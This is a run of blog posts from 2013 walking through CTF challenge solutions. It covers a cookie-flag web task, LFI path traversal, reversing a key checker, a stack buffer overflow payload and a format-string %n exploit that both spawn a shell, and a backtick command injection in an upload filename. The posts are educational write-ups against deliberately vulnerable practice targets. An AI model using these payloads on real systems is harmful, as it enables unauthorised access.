The flag was <span style="font-family: Courier New, Courier, monospace;">TheG0d0fGrabs_M4dL1F3</span><span style="font-family: inherit;">.</span><br />
<span style="font-family: inherit;"><br /></span>
<h2>
<span style="font-family: inherit; font-size: large;">Other web tasks</span></h2>
<span style="font-family: inherit;">I also solved t<span style="font-family: inherit;">he "</span>secure web" and "secure web revenge"<span style="font-family: inherit;"> tasks,</span> but these were surprisingly easy. I uploaded a PHP shell and found a user named "dwh300". This user had a file named "flags" in its home folder which was readable and contained the key. The second version was the same except the home folder itself was not listable.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">The last web challenge was "The Bank Robber". I found another blind SQLi vulnerability here but there wasn't enough time left to exploit it. The column name in a WHERE clause was injectable but spaces and commenting out the rest of the query were not allowed.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">It was a nice CTF. I was in a 2 man team this time and we finished 46th. It's not too bad given that we only had a couple of hours to work on tasks.</span><br />
<br />balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-42630436411161646882013-05-23T08:07:00.000-07:002013-05-23T08:11:41.084-07:00h34dump CTF write-upsThe <a href="http://h34dump.com/">h34dump</a> CTF team from Novosibirsk hosted an awesome <a href="https://ctf.h34dump.com/">CTF</a> today as a part of the <a href="http://phdays.com/registration/everywhere/">PHDays</a> conference. It was a school CTF with easier tasks. Let's see the solutions for some of the challenges.<br />
<br />
<h2>
<span style="font-size: large;">h4x0rs_food</span></h2>
<blockquote class="tr_bq">
<b>Type:</b> web<br />
<b>Points:</b> 50</blockquote>
The task description is a link to a webpage. After opening the page this is what we see:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIMjjl4GE0Y5MS2yAf2qArRUroY3-DRrYG18xDYvVTWn2TtcYfaqlJ9qZghodg6Y22P-MEApKF38ptrXCOV6MToSyy2w76slja1mF9gB0uCRNay7wlKNampafzcNI6_essGRCe2UJYd00/s1600/web0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIMjjl4GE0Y5MS2yAf2qArRUroY3-DRrYG18xDYvVTWn2TtcYfaqlJ9qZghodg6Y22P-MEApKF38ptrXCOV6MToSyy2w76slja1mF9gB0uCRNay7wlKNampafzcNI6_essGRCe2UJYd00/s400/web0.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
A simple page made with bootstrap that contains a login form. Trying some SQLi vectors doesn't help here. Then I started looking for hints and checked the cookies. And then it hit me. The task's name is 'food' and there is a picture of cookies. Of course.<br />
<br />
There was a single cookie with the name 'is_super_admin' and its value was false. We can change this to true and after refreshing we find level 2. Another cookie appears with the name 'good_job!level2_calc_100500^2'. The task is quite obvious here so I pop up a python interpreter.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">>>> 100500**2<br /> </span><span style="font-family: Courier New, Courier, monospace;">10100250000L</span></blockquote>
<span style="font-family: inherit;">I change the second cookie's value and the first task is solved.</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY9XD0E95eayrF639Sm9yE1HZDRLxHwldSQQ-O4Ax68eowLwXrAvYjq5pdYPd1O9bZ5jP9W7cu4tS__3nMBbmmmRKRkFu6ziYiN9yFkrUR_mKXCUekY3bLxQ7SriEn3U0dN-5yyJH1p3g/s1600/web0b.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY9XD0E95eayrF639Sm9yE1HZDRLxHwldSQQ-O4Ax68eowLwXrAvYjq5pdYPd1O9bZ5jP9W7cu4tS__3nMBbmmmRKRkFu6ziYiN9yFkrUR_mKXCUekY3bLxQ7SriEn3U0dN-5yyJH1p3g/s320/web0b.png" width="320" /></a></div>
<br />
<br />
<h2>
<span style="font-size: large;">h4x0r_library</span></h2>
<blockquote class="tr_bq">
<span style="font-family: inherit;"><b>Type:</b> web<br /><b>Points:</b> 200</span></blockquote>
The task description is a link again and this is what the page looks like:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLDGtykSgVTU7hiS-fiSb6O2H3hHZp29fzKGeqCF_vOQv_Zk752gDYmuRWHBlFDytW4aQ7BrKlzlcV054o1KbTZzuPG2dVxBu4wRnEJHPw39K0ObyfVknHKWkicATgsGjnAdn8eYDYewQ/s1600/web1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLDGtykSgVTU7hiS-fiSb6O2H3hHZp29fzKGeqCF_vOQv_Zk752gDYmuRWHBlFDytW4aQ7BrKlzlcV054o1KbTZzuPG2dVxBu4wRnEJHPw39K0ObyfVknHKWkicATgsGjnAdn8eYDYewQ/s400/web1.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The url is </div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">http://ctf.h34dump.com/web1/?file=library.html</span></blockquote>
This looks like a classic LFI, but trying to load <span style="font-family: Courier New, Courier, monospace;">/etc/passwd</span> doesn't work. The next thing I try to include is <span style="font-family: Courier New, Courier, monospace;">index.php</span>.<br />
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">http://ctf.h34dump.com/web1/?file=index.php</span></blockquote>
<div>
Again this fails, but if we change the directory it will finally work.</div>
</div>
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">http://ctf.h34dump.com/web1/?file=../index.php</span></blockquote>
After including the php file we see some php code on the screen, but to see it all we have to look into the source.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXp5uM4NjRXtKiY6V-TREMlDW50JBiobaYrx_6tH1iVMmqf4FdOMAj1941E07E2Ew1T1Umb75ej_sNcd01u6NhytTyPo-6tcpkELMZxCtQaJExdMAJK0Cv5eBH0L2okGnw650OiYK4gYw/s1600/web1b.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXp5uM4NjRXtKiY6V-TREMlDW50JBiobaYrx_6tH1iVMmqf4FdOMAj1941E07E2Ew1T1Umb75ej_sNcd01u6NhytTyPo-6tcpkELMZxCtQaJExdMAJK0Cv5eBH0L2okGnw650OiYK4gYw/s400/web1b.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
And the source contains an interesting line: </div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">static $black_list = array('flag_for_super_hacker.txt');</span></blockquote>
Looking at this text file gives us the flag:<br />
<blockquote class="tr_bq">
<table><tbody>
<tr><td class="webkit-line-number"></td><td class="webkit-line-content"><span style="font-family: Courier New, Courier, monospace;">k3y is l0c4l_c0d3_3x3cut10n_1s_f1n3</span></td></tr>
</tbody></table>
</blockquote>
This task was a bit strange for me. Usually when php code is included via LFI the code is filtered out between the <span style="font-family: Courier New, Courier, monospace;"><?php</span> and <span style="font-family: Courier New, Courier, monospace;">?></span> tags.<br />
<br />
All in all the web tasks were pretty easy, but since these tasks are intented for beginners I can understand this.<br />
<br />
<h2>
<span style="font-size: large;">keyasker</span></h2>
<blockquote class="tr_bq">
<b>Type:</b> binary<br />
<b>Points:</b> 100 </blockquote>
Keyasker was the first binary challenge. It is still available online <a href="https://ctf.h34dump.com/aa2b3d769140c440e44fcfeba3757081">here</a>. Unless they took it down already, feel free to try cracking it yourself before reading the solution. This is what the application looked like from the "outside".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw-84FOKs0cIbSpMyQNtL-6r3bzm8wumQpYGJFQwp4yXL2is3Gwifp2QIlM6a5zwfZ_dSa83Z4QeIOiqogMa4BwNs1AQvSxxT6lLQvO26VU3x1pNvOH_hDLtjemHT3nzD49FpmBge6e90/s1600/keyasker.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw-84FOKs0cIbSpMyQNtL-6r3bzm8wumQpYGJFQwp4yXL2is3Gwifp2QIlM6a5zwfZ_dSa83Z4QeIOiqogMa4BwNs1AQvSxxT6lLQvO26VU3x1pNvOH_hDLtjemHT3nzD49FpmBge6e90/s400/keyasker.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Let's see it in IDA. We load the binary and start looking around. The first thing I did was to look at the strings window.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizzZRZfvTIY31pbR2PT1t7iS1eTN4ZQ4Efh_k-hmnAgArvHHH5jlqOdJ-wn_N4OGCw7ZzL9gQba7la7qA6W17qrKSv_HS_Oq9Mpao5H01pGHbiYSv0rVJN3Jg4S4GzpA06gA68ILJ8D8I/s1600/strings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="75" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizzZRZfvTIY31pbR2PT1t7iS1eTN4ZQ4Efh_k-hmnAgArvHHH5jlqOdJ-wn_N4OGCw7ZzL9gQba7la7qA6W17qrKSv_HS_Oq9Mpao5H01pGHbiYSv0rVJN3Jg4S4GzpA06gA68ILJ8D8I/s400/strings.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Looking at the xrefs showed me where the key is checked. After this I looked at the pseudocode (Options/Compiler... sizeof(bool) = 4). Here is the most important part:</div>
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">sprintf(&v11, "%08x", v5);<br />if ( memcmp(&v11, &v10[8 * v8], 8u) ) <br /> goto LABEL_17;<br />if ( *(_BYTE *)v2 ) {<br /> ++v8;<br /> v1 = v2;<br /> goto LABEL_14;<br />}<br />return puts("Great! Now go and get your points!");</span></blockquote>
<br />
The above code runs after a part of the input is "hashed" using the "I'm related to flag" string as a sort-of salt (at least this is what I thought initially). <span style="font-family: Courier New, Courier, monospace;">v11</span> is the address for the hashed data and <span style="font-family: Courier New, Courier, monospace;">v10</span> points to the input. <span style="font-family: Courier New, Courier, monospace;">LABEL_17</span> prints "No :(" and exits, while <span style="font-family: Courier New, Courier, monospace;">LABEL_14</span> continues the "hashing". The code checks whether the first 8 bytes of the "hash" equals the key. If it does, it continues checking the next 8 bytes and so on.<br />
<br />
The part that hashes the input was kind-of obfuscated and I was too lazy to fully understand what it does. This spared me a load of time because I started trying sample inputs rather than reverse engineering the hash function. Based on the code I knew that the key is 32 characters long. I set up a few breakpoints and entered a few input values. After a few values I realized that the "hash" is always the same and it doesn't even use the input, it comes purely from the string "I'm related to flag".<br />
<br />
After discovering this the solution was easy. I entered a test value and looked at the first 8 bytes of the hash. I stopped debugging and entered a new value with the correct first 8 bytes. I did this until I got all of the 32 bytes correctly.<br />
<br />
The flag was this key:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">69ccc0dd616f12d151525fc9f753ec9f</span></blockquote>
<br />
<h2>
<span style="font-size: large;">greeter1</span></h2>
<blockquote class="tr_bq">
<span style="font-family: inherit;"><b>Type: </b>binary<br /> </span><span style="font-family: inherit;"><b>Points:</b> 200</span></blockquote>
<div>
<span style="font-family: inherit;">The task description contained ssh credentials to a machine. If you didn't participate in the CTF feel free to try solving the task before reading on, I guess the machine will be on for a few days.</span><br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">This service just says hello to everyone! I hate it! Do something with it!<br />ssh user@ctf.h34dump.com -p22200<br />pass: user;</span></blockquote>
</div>
<span style="font-family: inherit;">After logging in we see a text file, that possibly contains the flag, and an executable called greeter.</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_XMsp-N2URfi_4xpEFeWvoz4VITWJn3Kkd-KjTxzQB_PQXrgmUMWvTWxFxcdIdqzKe_geR1w1QAhho_ZhIFaxS2as-Dmji-CInKT4Jmd8SPb8OEoqUpTBU2tN9pYRkCjDaDcwkRCnWv4/s1600/greeter1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_XMsp-N2URfi_4xpEFeWvoz4VITWJn3Kkd-KjTxzQB_PQXrgmUMWvTWxFxcdIdqzKe_geR1w1QAhho_ZhIFaxS2as-Dmji-CInKT4Jmd8SPb8OEoqUpTBU2tN9pYRkCjDaDcwkRCnWv4/s400/greeter1.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCnEoHLCW3kuj_b0mjmVxy1J7ESlXjGdQbS1aekoSPTnsgRTXsHX47D_HDnqQWlsYoX_Sn3BD6w-pdVsfjaRw5RaBhCIapT2hVlYs9RZp09CLWsdjJwWT4ddjduM8qu19lIorW7DlMrh4/s1600/greeter1b.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCnEoHLCW3kuj_b0mjmVxy1J7ESlXjGdQbS1aekoSPTnsgRTXsHX47D_HDnqQWlsYoX_Sn3BD6w-pdVsfjaRw5RaBhCIapT2hVlYs9RZp09CLWsdjJwWT4ddjduM8qu19lIorW7DlMrh4/s400/greeter1b.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Naturally we don't have access to the flag.txt file. The greeter application is a simple program that asks for a name and echoes it back. The task description says "Do something with it" so it's pretty clear that this is where we should start. Let's load the binary in IDA.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzoiLEYaS1kw_xkqYdxZ6OelVjYGyUUGvJXj1cGWD_osxUGs8vlSFgArieby0IdBc4DgSpSKQ_f6AVbYTpGOvoer1_1CP2HREP82yi8OWWQsNOjAbyccxmsnobDmLbWcx7Ye8pTMGOk94/s1600/greeter2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="395" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzoiLEYaS1kw_xkqYdxZ6OelVjYGyUUGvJXj1cGWD_osxUGs8vlSFgArieby0IdBc4DgSpSKQ_f6AVbYTpGOvoer1_1CP2HREP82yi8OWWQsNOjAbyccxmsnobDmLbWcx7Ye8pTMGOk94/s400/greeter2.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
Okay, this is a gaping hole, but hey, it's perfect for this sort-of introductory CTF. What we see here is a classic <a href="http://en.wikipedia.org/wiki/Buffer_overflow">buffer overflow</a>. The buffer's size is 0x100 and we read 0x140 characters, overwriting the return address. Let's exploit it. Using gdb we can check what happens when the buffer is overflowed.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">gdb ./greeter</span><br />
<span style="font-family: Courier New, Courier, monospace;">(gdb) disas main</span><br />
<span style="font-family: Courier New, Courier, monospace;">(gdb) b *main+67 // breakpoint after fgets</span><br />
<span style="font-family: Courier New, Courier, monospace;">(gdb) r</span></blockquote>
After this we enter a large input, let's say ~300 bytes. This is the input I used to be able to locate every byte:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789</span></blockquote>
The first 256 bytes won't matter since they will be inside the buffer. After the input we can start stepping in gdb (ni command) and see what happens. After 11 steps we get to the ret instruction and when the <span style="font-family: Courier New, Courier, monospace;">ret</span> runs we get an error:<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">Cannot access memory at address 0x31305a5d</span></blockquote>
<div>
The program tried to return to the address <span style="font-family: Courier New, Courier, monospace;">0x31305a5d</span>. Since the architecture is little-endian we have to reverse this to get: <span style="font-family: Courier New, Courier, monospace;">0x5d5a3031</span>. In ASCII this is "]Z01" which is almost what the input contained, except the first value (which was Y) was incremented by 4. This probably happened after the <span style="font-family: Courier New, Courier, monospace;">fgets</span> call and before the return. Nothing to worry about, since we can always compensate.</div>
<div>
<br /></div>
<div>
We can control where we return from the main function and they even added a branch to the program that starts a shell for us. To enter this branch the 'a' variable's value has to be non-zero. But since we can jump anywhere, we can just jump to the start of the shell without changing 'a'-s value. Let's see where we have to jump.</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(gdb) disas main<br />// Just the relevant part<br />0x080484e3 <main+83>: mov 0x8049740,%eax<br />0x080484e8 <main+88>: test %eax,%eax<br />0x080484ea <main+90>: je 0x8048508 <main+120><br />0x080484ec <main+92>: movl $0x0,0x8(%esp)</span></blockquote>
<div>
(Note that this is AT&T syntax, so the source and destination are switched here)</div>
<div>
We can see that the test occurs at <span style="font-family: Courier New, Courier, monospace;">0x080484e8</span> and we want to jump (return) to <span style="font-family: Courier New, Courier, monospace;">0x080484ec</span>. Let's subtract 4 to compensate for the increase mentioned earlier. To test this I created an input with lots of 'a' characters and in place of the return address a special string that we will change from gdb (since we can't simply input non-ascii characters). This special string will be changed to the return address in gdb using the following command:</div>
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(gdb) set {int}(0xbfc33708) = 0x080484e8</span></blockquote>
<div>
(Where <span style="font-family: Courier New, Courier, monospace;">0xbfc33708</span> is the location of our "special" string in the buffer). Let's see what happens now. This is where we end up after <span style="font-family: Courier New, Courier, monospace;">ret</span>:</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">0xb765000a: jno 0xb7650081</span></blockquote>
Weird. It looks like we jumped to a different address. After double-checking this address turned out to be the next value in the stack so we need to add the return address there. This is the final input:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe8\x84\x04\x08\xec\x84\x04\x08</span></blockquote>
(The new address doesn't need to be decreased by 4)<br />
This is where I got stuck a bit. You can't enter the non-ASCII values in the program itself but you can use printf and echo the created string this way:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">echo $(printf "aaaa...\xec\x84\x04\x08") | ./greeter</span></blockquote>
The only problem is that this way we won't be able to control the shell we have. I tried entering multiple lines so that the next line would be interpreted by the shell but it didn't work.<br />
<br />
The solution is to store the input in a file and use <span style="font-family: Courier New, Courier, monospace;">cat</span> to copy it to the standard input of the executable. <span style="font-family: Courier New, Courier, monospace;">cat</span> handles the "-" file name in a special way - it means "stdin". This is how we can get a shell:<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">user@localhost:~$ echo $(printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xec\x84\x04\x08") > /tmp/dont_guess_this<br /> user@localhost:~$ cat /tmp/dont_guess_this - | ./greeter<br /> What is your name? (up to 256 chars)<br /> Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaě<br /> ls<br /> flag.txt greeter<br /> cat flag.txt<br /> 0v3rfl0wn_buff3r_1s_s0_cu7e</span></blockquote>
<br />
And we are done. Thanks to the CTF admins who taught me what the dash means when using the <span style="font-family: Courier New, Courier, monospace;">cat</span> command.<br />
<br />
<h2>
<span style="font-size: large;">greeter2</span></h2>
<blockquote class="tr_bq">
<b>Type:</b> binary<br />
<b>Points:</b> 300</blockquote>
The setup is the same here except the port is 22201. The greeter executable works the same as the previous one, but there must be a vulnerability somewhere. This is what we get after loading the binary in IDA:<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">int __cdecl main()<br />{<br /> char v1; // [sp+10h] [bp-110h]@1<br /> memset(&v1, 0, 0x100u);<br /> puts("What is your name? (up to 256 chars)");<br /> fgets(&v1, 256, stdin);<br /> printf("Hello, ");<br /> printf(&v1);<br /> if ( a )<br /> execlp("/bin/sh", "/bin/sh", 0);<br /> return 0;<br />}</span></blockquote>
<br />
Another gaping hole, this time a <a href="http://en.wikipedia.org/wiki/Uncontrolled_format_string">format string</a> vulnerability. Again, I believe these really obvious vulnerabilities are perfect for this kind of CTF. I'm not an expert and I had fun figuring out both the buffer overflow and the format string exploits.<br />
<br />
Overwriting arbitrary memory is easier than jumping to an arbitrary location with a format string vulnerability, so this time we will try to overwrite the 'a' variable. Its location can be found with gdb.<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(gdb) disas main<br />// Just the relevant part<br />0x080484e7 <main+87>: mov 0x804973c,%eax<br />0x080484ec <main+92>: test %eax,%eax<br />0x080484ee <main+94>: je 0x804850c <main+124><br />0x080484f0 <main+96>: movl $0x0,0x8(%esp)</span></blockquote>
<div>
So the address is <span style="font-family: 'Courier New', Courier, monospace;">0x804973c</span><span style="font-family: inherit;"> - it is loaded into </span><span style="font-family: Courier New, Courier, monospace;">%eax</span><span style="font-family: inherit;"> then tested. The value has to be non-null in order to enter the shell's branch (where </span><span style="font-family: 'Courier New', Courier, monospace;">execlp</span><span style="font-family: inherit;"> is)</span><span style="font-family: inherit;">.</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
The most powerful tool to exploit format string vulnerabilities is <span style="font-family: Courier New, Courier, monospace;">%n</span>. This format string takes the first address on the stack (4 bytes), counts the amount of characters written so far and then writes this number to the address at the top of the stack. All we need to do is set the stack-pointer to the address of the 'a' variable then put <span style="font-family: Courier New, Courier, monospace;">%n</span> to the end of the format string.</div>
<div>
<br /></div>
<div>
But how do we know that the stack has the correct value on the top? We can easily see what's on the stack using <span style="font-family: Courier New, Courier, monospace;">%x</span><span style="font-family: inherit;"> (or </span><span style="font-family: Courier New, Courier, monospace;">%08x</span><span style="font-family: inherit;"> for nicer output). Let's experiment a little.</span></div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><b>user@localhost:~$</b> ./greeter<br />What is your name? (up to 256 chars)<br />AAAA %08x<br />Hello, AAAA 00000100<br /><b>user@localhost:~$</b> ./greeter<br />What is your name? (up to 256 chars)<br />AAAA %08x %08x<br />Hello, AAAA 00000100 b76f3420<br /><b>user@localhost:~$</b> ./greeter<br />What is your name? (up to 256 chars)<br />AAAA %08x %08x %08x<br />Hello, AAAA 00000100 b76fa420 b7721be0<br /><b>user@localhost:~$ ./</b>greeter<br />What is your name? (up to 256 chars)<br />AAAA %08x %08x %08x %08x<br />Hello, AAAA 00000100 b77a5420 b77ccbe0 41414141</span></blockquote>
<div style="font-family: inherit;">
Bingo. We now know where the input is in the stack. If this method doesn't give a result fast enough it could also be done in gdb. This is how the final input will look like (don't forget endianness):</div>
</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">\x3c\x97\x04\x08%x%x%x%n</span></blockquote>
Just like before we can't echo this to the stdin of greeter, we need to create a file again. Note that <span style="font-family: Courier New, Courier, monospace;">%</span> symbols need to be escaped using <span style="font-family: Courier New, Courier, monospace;">%%</span>.<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">user@localhost:~$ echo $(printf "\x3c\x97\x04\x08%%x%%x%%x%%n") > /tmp/dont_guess_this<br />user@localhost:~$ cat /tmp/dont_guess_this - | ./greeter<br />What is your name? (up to 256 chars)<br />Hello, 100b77c3420b77eabe0<br />ls<br />flag.txt greeter<br />cat flag.txt<br />c4r3ful_w1th_f0rm4t</span></blockquote>
<div>
And we got the flag!</div>
<div>
<br /></div>
<div>
This was a pretty good task-based CTF. I finished at the 5th place with my one-man team. The forensics and crypto challenges were interesting too. Thanks again to all of the h34dump team!</div>
<br /></div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com3tag:blogger.com,1999:blog-7011836621605765499.post-34117760458897288582013-05-12T06:46:00.000-07:002013-05-12T11:50:17.332-07:00BaltCTF - WEB200 "Gallery" write-up<a href="http://game.baltctf.ru/">BaltCTF</a> is over and I decided to create a write-up for the second web-based task, because I think it was quite fun. The solution might be old news to more experienced people, but figuring it out on my own was exciting. Here goes.<br />
<br />
<h3>
Gallery</h3>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlDWf8R7guI-zpskv8z-rfD_JzNa7RPMVWkXZ8z4eWZApjrCEMbd0qtGhiIIZo1NPe4vNNYNTvUxR2j9hyphenhypheniarAZMscL26qmxMwMY1FSB4ks606OX0IFUYNmp-zZgQFGw9Hm2EiTSv2N9o/s1600/gallery0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlDWf8R7guI-zpskv8z-rfD_JzNa7RPMVWkXZ8z4eWZApjrCEMbd0qtGhiIIZo1NPe4vNNYNTvUxR2j9hyphenhypheniarAZMscL26qmxMwMY1FSB4ks606OX0IFUYNmp-zZgQFGw9Hm2EiTSv2N9o/s400/gallery0.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The task was to hack this simple gallery application where users can upload pictures and view them. It was really obvious that there will be a file upload vulnerability, but I decided to check for SQLi, just in case. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The uploader only accepted png and gif files that were smaller than 1 MB. The first thing that came to my mind was bypassing this and uploading something named <span style="font-family: Courier New, Courier, monospace;">shell.png.php</span>. I tried for almost an hour, but nothing helped to bypass the extension limitation. I even tried to put SQLi into the filename, but that didn't work either.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
After many tries I had a new idea that actually worked. I uploaded a file with a Unix command in its name surrounded by grave accents:</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">`ls`.png</span></blockquote>
<div class="separator" style="clear: both; text-align: left;">
The uploaded picture's name contained the id of the picture followed by the output of the executed command. The only problem was that the file name was limited to 16 characters:</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">43-<span style="color: #0b5394;">css img index.ph</span>.png</span></blockquote>
<br />
<h3>
Detour</h3>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
After this I made a bad decision and took a little detour. I decided to write a "shell" that prompts me for commands, creates a file that has the command in its name, uploads the file, views the gallery, finds the picture's file name and prints it out for me. <a href="https://gist.github.com/anonymous/c80fc5616f867a145c91">Here</a> is the code in case anybody is interested.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
